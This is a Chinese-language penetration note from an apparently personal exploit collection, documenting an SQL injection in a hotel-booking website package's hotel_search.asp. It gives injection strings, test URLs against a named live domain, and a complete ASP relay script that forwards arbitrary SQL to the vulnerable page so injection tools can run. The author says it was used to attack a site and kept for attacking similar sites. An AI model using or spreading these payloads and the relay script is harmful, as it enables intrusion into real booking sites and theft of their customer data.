酒店、宾馆预定,酒店查询,酒店网站 SQL 注入漏洞。

私人脚本漏洞库放的老玩意儿,很久了,之前干一个站,总结的一点资料,方便日后干同类型的站,很多宾馆预订、酒店查询类的网站都用这套源码,这个漏洞比较菜,勿喷。。。

我个人喜欢总结每次渗透的资料,越详细越好。


漏洞名称:

酒店、宾馆预定,酒店查询,酒店网站 SQL 注入漏洞

发现时间:

2011年8月28日, 01:54:11

漏洞文件:

/hotel/hotel_search.asp

利用条件:

Null

漏洞原因:

文件:/hotel/hotel_search.asp,没有过滤提交参数,导致任意注入。

网站内很多文件均存在此漏洞,不止这一个。

Sql查询语句为:

select * form table where ( name='关键词' and minPrice >0 and minPrice < 100000 ORDER BY status DESC ) ORDER BY status DESC

关键词:' and minPrice >0 Or ''='

漏洞测试:

1、https://lcx.cc/hotel/hotel_search.asp?cid=2&intime=2011-8-28&outtime=2011-8-31&p1=0&p2=100000&jdld=0&key_name='%20or%20''='

2、https://lcx.cc/hotel/hotel_search.asp?cid=2&intime=2011-8-28&outtime=2011-8-31&p1=0&p2=100000&jdld=0&key_name='%20and%20minPrice>218%20or%20''='

漏洞利用:

1、由于注入语句比较特别,无法使用工具直接跑,需使用注入中转:index.asp。

2、使用方法(需先修改文件中的URL地址):http://127.0.0.1/index.asp?sql=SQL语句

注意事项:

1、Null

其他信息:

Null

index.asp 注入中转脚本源码:

<%
Dim Sql, Url

Sql = Request("Sql")
'Sql = "' " & Sql & " or ''='"
Sql = "')" & Sql & ";--"
Url = "https://lcx.cc/hotel/hotel_search.asp?cid=2&intime=2011-8-28&outtime=2011-8-31&p1=0&p2=100000&jdld=0&key_name=" & UrlEncoding(Sql, True)

Set Xml = Server.CreateObject("Microsoft.xmlhttp")
Xml.Open "GET", Url, False
Xml.Send

Response.Write Url & "<br><br>"
Response.Write "select * form table where ( name='<font color='red'>" & Sql & "</font>' and minPrice >0 and minPrice < 100000 ORDER BY status DESC ) ORDER BY status DESC" & "<br>"

Response.BinaryWrite Xml.ResponseBody
Response.End

'----------------------------------------------------------------'
'功能描述:URL编码函数
'输入参数:中英文混合字符串,f是否对ASCII字符编码
'返回值:编码后的ASC字符串
Public Function UrlEncoding(v, f)    'URL编码
    Dim s, t, i, j, h, l, x: s = "": x = Len(v)
    For i = 1 To x
        t = Mid(v, i, 1): j = Asc(t)
        If j > 0 Then
            If f Then
                s = s & "%" & Right("00" & Hex(Asc(t)), 2)
            Else
                s = s & t
            End If
        Else
            If j < 0 Then j = j + &H10000
            h = (j And &HFF00) \ &HFF
            l = j And &HFF
            s = s & "%" & Hex(h) & "%" & Hex(l)
        End If
    Next
    UrlEncoding = s
End Function
%>